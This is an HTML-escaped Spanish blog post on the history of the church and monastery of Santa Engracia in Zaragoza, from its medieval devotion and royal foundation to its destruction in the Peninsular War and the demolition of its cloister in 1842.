&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; text-align: justify;&quot;&gt;
Mucho tiempo
después, en el siglo XIV, el hallazgo fortuito de dos sarcófagos
paleocristianos, avivó inmensamente el fervor de los zaragozanos por la santa.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; text-align: justify;&quot;&gt;
&lt;br /&gt;
Así lo narró
fray Diego Murillo:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; text-align: justify;&quot;&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span style=&quot;color: #0070c0;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;“fueron hallados
los Santos cuerpos de la gloriosa Virgen y martyr Santa Engracia, y de sus
compañeros, juntamente con las Santas masas de los innumerables Martyres”&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVvMfFahV-zqgieUFTzEZuD_DKZU2-emPhmqIb62a_1YkIBFjrd71FvofPXY47WPuUsptfNUJO5zeiGMIaiWtgCISa-BN-yEEE5xxW6P-Cxqw-NWBnYyglF6le465Y2yiFQ1cxyxEpQMPY/s1600/Sarc%25C3%25B3fago_paleocristiano_en_la_Cripta_de_las_Santas_Masas%252C_Zaragoza.jpg&quot; style=&quot;clear: left; display: inline; margin-bottom: 1em; margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;600&quot; data-original-width=&quot;800&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVvMfFahV-zqgieUFTzEZuD_DKZU2-emPhmqIb62a_1YkIBFjrd71FvofPXY47WPuUsptfNUJO5zeiGMIaiWtgCISa-BN-yEEE5xxW6P-Cxqw-NWBnYyglF6le465Y2yiFQ1cxyxEpQMPY/s320/Sarc%25C3%25B3fago_paleocristiano_en_la_Cripta_de_las_Santas_Masas%252C_Zaragoza.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Sarcófago paleocristiano&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;  El hallazgo adquirió tanta
relevancia que a finales de ese siglo o comienzos del XV sobre la cripta que
contenía los restos comenzó a construirse una nueva iglesia, acorde con la
importancia de las reliquias y la devoción de sus fieles, la iglesia alta. &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;
Debido a los grandes problemas económicos las obras avanzaban muy
despacio, hacia 1450 la notable contribución realizada por el arzobispo
zaragozano Dalmau de Mur, gran mecenas de la ciudad, dio un fuerte impulso a la
construcción de ese templo gótico-mudéjar, pero a pesar de todo, se dilataban
en el tiempo.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7d2AV23mny1VaagsD3CocUMkfFwpXshyOmoc4kJQFYaKp39_MkTZl_oYUnB2mHRnjpKgOxTCApq9tcWE8G6MnHYiHcz5D14WDQ25_srvTvJuhi6Wbv9tKgBg1L16e0aRfudQKzYm2bDZP/s1600/Monasterio.jpg&quot; style=&quot;clear: right; display: inline; float: right; margin-bottom: 1em; margin-left: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1000&quot; data-original-width=&quot;685&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7d2AV23mny1VaagsD3CocUMkfFwpXshyOmoc4kJQFYaKp39_MkTZl_oYUnB2mHRnjpKgOxTCApq9tcWE8G6MnHYiHcz5D14WDQ25_srvTvJuhi6Wbv9tKgBg1L16e0aRfudQKzYm2bDZP/s320/Monasterio.jpg&quot; width=&quot;219&quot; /&gt;&lt;/a&gt;Entonces, un importante hecho cambió
por completo el curso de los acontecimientos. En 1468 el rey Juan II, gran
devoto de Santa Engracia, se encontraba aquejado de cataratas y apenas podía ver,
la enfermedad era entonces prácticamente incurable y para intentar aliviar el
problema se sometió a una operación, muy arriesgada en ese momento, que realizó
un médico judío. Antes de ser operado se encomendó a la santa haciendo voto de construir
un gran monasterio en ese lugar, dedicado a Santa Engracia, si recuperaba la visión.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
Con la operación mejoró su vista,
pero el resultado se atribuyó a la&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;milagrosa intercesión de la santa antes que a la pericia del cirujano y provocó entre los zaragozanos una enorme corriente de fervor religioso hacia santa Engracia. Llegó a tal punto que unos años después, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;en abril de 1480, Santa Engracia fue
declarada por el Concejo (Ayuntamiento) patrona de la ciudad&lt;/b&gt;, estableciendo
la Iglesia el 16 de abril como día de su conmemoración y fiesta de guardar&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;3&lt;/span&gt;&lt;/b&gt;. Esta
festividad era una de las más importantes de la ciudad y los zaragozanos lo
celebraban con gran devoción acudiendo a su iglesia en solemne procesión desde
La Seo. Otra gran procesión se realizaba el 3 de noviembre, día de la
conmemoración de los mártires.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu-FyrXMpU9BQDCFHx9TJTLvxVe9xPTRy5FiilezhzgBpJWrcpJwy-ggiI7o8RDGaK8DIK40ha_nLnPJeSLtYIZXQb72GA56zM3UwnEsN_tVFuHPNWiv2GJ_qxjAHfyscojuzvzbEBHQui/s1600/Reyes+Cat%25C3%25B3licos.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;677&quot; data-original-width=&quot;1000&quot; height=&quot;216&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu-FyrXMpU9BQDCFHx9TJTLvxVe9xPTRy5FiilezhzgBpJWrcpJwy-ggiI7o8RDGaK8DIK40ha_nLnPJeSLtYIZXQb72GA56zM3UwnEsN_tVFuHPNWiv2GJ_qxjAHfyscojuzvzbEBHQui/s320/Reyes+Cat%25C3%25B3licos.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Esculturas de los Reyes Católicos&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Pero Juan II no pudo cumplir el
voto hecho a la santa debido a los graves problemas económicos por los que
atravesaba y al morir, en 1479, en su testamento dejó encomendado a su hijo y
sucesor, Fernando el Católico, que realizara su promesa lo cual llevó a cabo Fernando
a partir de 1492, terminando la iglesia superior y construyendo el monasterio, en
el cual instaló, ya en 1493, monjes jerónimos.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
El conjunto arquitectónico&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;4&lt;/span&gt;&lt;/b&gt;, debió
de ser, sin duda, de gran valor artístico, en él trabajaron artistas tan
destacados como Alonso Berruguete, Bigarny o los Gil Morlanes, padre e hijo,
que realizaron la magnífica portada de la iglesia alta (1516-1517), en la que
representaron a los Reyes Católicos en esculturas orantes y a sus símbolos
heráldicos, lo que evidenciaba la importancia del lugar.&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: right;&quot;&gt;
&lt;/div&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; margin-left: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcAewdNAqfpTXBasaAk8lkaDPhvsmhVYMmsK12ivT_j7cR8EXww4upGuV34CRmkX-VZIekKHKCRoRSslOicBn6FqMX01OYRkqzMvz0Bz_A0RbMiVC0U83v7emjqbZtsjzmP3-lIZvbxKrW/s1600/claustro+grande+en+1806.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;608&quot; data-original-width=&quot;1000&quot; height=&quot;194&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcAewdNAqfpTXBasaAk8lkaDPhvsmhVYMmsK12ivT_j7cR8EXww4upGuV34CRmkX-VZIekKHKCRoRSslOicBn6FqMX01OYRkqzMvz0Bz_A0RbMiVC0U83v7emjqbZtsjzmP3-lIZvbxKrW/s320/claustro+grande+en+1806.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;El claustro grande en 1806. Lejeune&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
De los dos claustros
que el monasterio tenía, el claustrillo o claustro menor, o pequeño, ya existía
a mediados del siglo XV, y bastante tiempo después se construyó el magnífico
claustro mayor, de gran valor artístico, realizado en su mayor parte entre 1511
y 1517 siendo terminado entre 1529 y 1536, ya en época de Carlos I.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Durante todo ese tiempo la devoción a la Virgen del Pilar había ido en
aumento y el suceso de Calanda, ocurrido en 1640, fue proclamado por la Iglesia
como milagro en abril de 1641, cambiando las cosas de forma radical.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;Tanto fue así que un año después, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;en 1642, el Concejo declaró a la Virgen del
Pilar patrona de Zaragoza y santa Engracia perdió su “patronazgo”.&lt;/b&gt;&amp;nbsp; Como consecuencia de todo ello, a partir del último tercio del siglo
XVIII, se planteó la construcción de una gran basílica, El Pilar actual, para
rendir culto a la Virgen, cuyas obras perduraron hasta 1961.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
En la segunda mitad del s. XVIII la iglesia alta de Santa Engracia
amenazaba ruina por lo que sufrió una importantísima remodelación&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;5.&lt;/span&gt;&lt;/b&gt; Prácticamente
se rehízo toda ella cambiando su aspecto, su estilo gótico-mudejar por el
neoclásico, al ser realizada la reforma al gusto de la época: el neoclasicismo.
Esta “nueva” iglesia reunía obras de los pintores zaragozanos más importantes
de ese momento, como Bayeu y Luzán que realizaron cuadros para algunas capillas
y altares.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Muy pocos años después, en 1808, estalló la Guerra de la Independencia
y Zaragoza sufrió los dos Sitios que la hicieron famosa en Europa. Cuando los
franceses levantaron el primero de ellos iniciando su retirada, el estallido
una mina bajo la iglesia de Santa Engracia la destruyó casi por completo. El
hecho ocurrió en la media noche del 13 al 14 de agosto de 1808, Alcaide Ibieca&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;6&lt;/span&gt;&lt;/b&gt; que
combatió en los Sitios lo describió así:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;div style=&quot;text-align: right;&quot;&gt;
&lt;/div&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8lpkltvFP6wkHy4cgu9W_7m5SjadBb9rP-uCP-nzgOyV9Zn_G9RNjUW0rTM0ElDyzbJrmVDpGqgzzqExYoqAOd8_RKRkWactcMk117JsTD10CEREiAqdhi0oJz6cQMlz45ra3m__Ga2-v/s1600/Convento_de_Santa_Engracia_en_ruinas.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;607&quot; data-original-width=&quot;969&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8lpkltvFP6wkHy4cgu9W_7m5SjadBb9rP-uCP-nzgOyV9Zn_G9RNjUW0rTM0ElDyzbJrmVDpGqgzzqExYoqAOd8_RKRkWactcMk117JsTD10CEREiAqdhi0oJz6cQMlz45ra3m__Ga2-v/s320/Convento_de_Santa_Engracia_en_ruinas.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Convento de santa Engracia en ruinas. 1811-1813&lt;br /&gt;
Edward Hawkwe Locker&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span style=&quot;color: #0070c0;&quot;&gt;“El subterráneo o iglesia de los Mártires,
donde existía el pozo y catacumbas que cerraban los venerables restos… estaba
cegado con las ruinas del edificio superior, del cual sólo se descubría un lado
de la nave que formaba la iglesia principal, y algunos medios arcos de la
bóveda. El pórtico de mármol, obra de Juan Bautista Morlanes, quedó en pie,
aislado, aunque con muchos balazos; y también la torre, y otras dos que
adornaban los costados del pórtico. A la parte exterior quedó colgando un trozo
de corredor con los artesonados, y varias hileras de columnas pequeñas;
presentando por ambas caras una vista interesante de ruinas. ”&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;El monasterio no 
corrió mejor suerte, fue destruido, pero el magnífico claustro grande 
quedó en pie aunque sufrió daños importantes en el lado más próximo a la
 iglesia.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span style=&quot;color: #0070c0;&quot;&gt; &lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj41-Y8wCBM5E8IRDvTnBfYGlhb6bwZAwlivuRQlkf6xMC408Auxx_2gnPeOYRDnDabiqxqbhIjrU2a2y7jiy1WwWi4MjQI-ESzojZ0RlWUyQMCTitqh-AHr5cySsc2rs5kLvp01crenkfV/s1600/claustro+grande+1808.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;684&quot; data-original-width=&quot;969&quot; height=&quot;281&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj41-Y8wCBM5E8IRDvTnBfYGlhb6bwZAwlivuRQlkf6xMC408Auxx_2gnPeOYRDnDabiqxqbhIjrU2a2y7jiy1WwWi4MjQI-ESzojZ0RlWUyQMCTitqh-AHr5cySsc2rs5kLvp01crenkfV/s400/claustro+grande+1808.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Daños en el claustro grande&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;
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&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8AWMnPNKQ7x2RBzsm21euSF4bwvYrN8mj8GBQ4sRv66eP3cFLWypPoHNkq9Bg6kjuV2dSo4qxgmDFQdKDJKi_FLp83FONMuH38CZ0NMPCVmUARYk3R2y-EcWCx7SUtAYXNkUmiFVbQFAg/s1600/Santa_Engracia_-_Lejeune.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1000&quot; data-original-width=&quot;792&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8AWMnPNKQ7x2RBzsm21euSF4bwvYrN8mj8GBQ4sRv66eP3cFLWypPoHNkq9Bg6kjuV2dSo4qxgmDFQdKDJKi_FLp83FONMuH38CZ0NMPCVmUARYk3R2y-EcWCx7SUtAYXNkUmiFVbQFAg/s320/Santa_Engracia_-_Lejeune.jpg&quot; width=&quot;253&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;El claustro en el Segundo Sitio (1809)&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&amp;nbsp;. &lt;/span&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQAlJGSbIVJwz1_0QtTj9pMo8wUU3nJH0o7P8bAFL45EseavZgwN9Q3JZ7chHTLo7HTO7uCOXyNABGsjqQQ-aCGdmUbot4CfPh2beOVFW88uJH_b2fH0JkzOwbXza788pD4PbklLbqIasE/s1600/claustro+grande.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;759&quot; data-original-width=&quot;998&quot; height=&quot;302&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQAlJGSbIVJwz1_0QtTj9pMo8wUU3nJH0o7P8bAFL45EseavZgwN9Q3JZ7chHTLo7HTO7uCOXyNABGsjqQQ-aCGdmUbot4CfPh2beOVFW88uJH_b2fH0JkzOwbXza788pD4PbklLbqIasE/s400/claustro+grande.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;El claustro grande reconstruido (1842), poco antes de ser derribado&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;meta-field photo-desc&quot; id=&quot;yui_3_16_0_1_1598033747546_1893&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Durante el Segundo Sitio el claustro seguía en pie y allí se produjeron grandes combates en los intentos de penetrar en la ciudad por el sur.&lt;br /&gt;
&lt;div class=&quot;meta-field photo-desc&quot; id=&quot;yui_3_16_0_1_1598033747546_1893&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;Louis-François Lejeune, que participó en ellos pintó la escena años después, en&amp;nbsp; 1827.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Al fondo se ve la torre de la enfermería que aunque sufrió también daños, no cayó con la explosión.&amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
Al terminar la guerra los monjes iniciaron la reconstrucción de la
iglesia y del claustro, pero de poco sirvió, en 1835 la Desamortización de
Mendizábal cambió las cosas para siempre al decretarse la supresión de los
monasterios y la venta de sus bienes inmuebles.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;
&lt;/span&gt;Fue el comienzo del final de lo que quedaba del antiguo y magnífico monasterio.&lt;br /&gt;
&lt;br /&gt;
Poco después&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;7&lt;/span&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt; &lt;/i&gt;&lt;/b&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span style=&quot;color: #0070c0;&quot;&gt;“…los poderes públicos, en 1842, acordaron su demolición
(del claustro), en un incalificable acto de incultura, tras la desamortización,
para aprovechar su solar con destino al futuro Colegio Militar de Zaragoza,
remoto precedente local de la Academia General Militar.”&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHt67jqYbLfzlzWhokdJ4NPRftxMglhgCwroPm3ijReJm7u7hUb__76UF4yQoV6115vmdGnfzBPS6kozzn7gsM7DHmRQ2qVwfoq6hME3kq_rZYkFHzpWHKD10UdMFlLPJ67OFD3N5o5vfL/s1600/iglesia.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1600&quot; data-original-width=&quot;1291&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHt67jqYbLfzlzWhokdJ4NPRftxMglhgCwroPm3ijReJm7u7hUb__76UF4yQoV6115vmdGnfzBPS6kozzn7gsM7DHmRQ2qVwfoq6hME3kq_rZYkFHzpWHKD10UdMFlLPJ67OFD3N5o5vfL/s320/iglesia.jpg&quot; width=&quot;258&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Lo que quedó de la iglesia.&lt;br /&gt;
&amp;nbsp;A la izquierda el edificio castrense&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
Triste final para tan antiquísimo
y emblemático lugar que durante siglos y siglos acaparó la gran devoción que los
zaragozanos sentían hacia Santa Engracia, hasta tal punto fue que la hicieron
su patrona.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;La cripta fue reconstruida y al final del
siglo XIX se levantó sobre ella una nueva iglesia que conservó la portada de la
anterior, es lo único que hoy queda de su pasado esplendor. &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;right&quot; class=&quot;MsoNormal&quot; style=&quot;text-align: right;&quot;&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&amp;nbsp;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Rosa M. Germán&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: solid windowtext 1.5pt; border: none; mso-element: para-border-div; padding: 0cm 0cm 1pt;&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;border: none; mso-border-bottom-alt: solid windowtext 1.5pt; mso-padding-alt: 0cm 0cm 1.0pt 0cm; padding: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;1.- Clemente Prudencio, A. (348 -
410). Himno IV del &lt;i&gt;Peristephanon liber&lt;/i&gt;,&lt;i&gt; &lt;/i&gt;(Libro de las&amp;nbsp;coronas de los mártires).&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;

&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
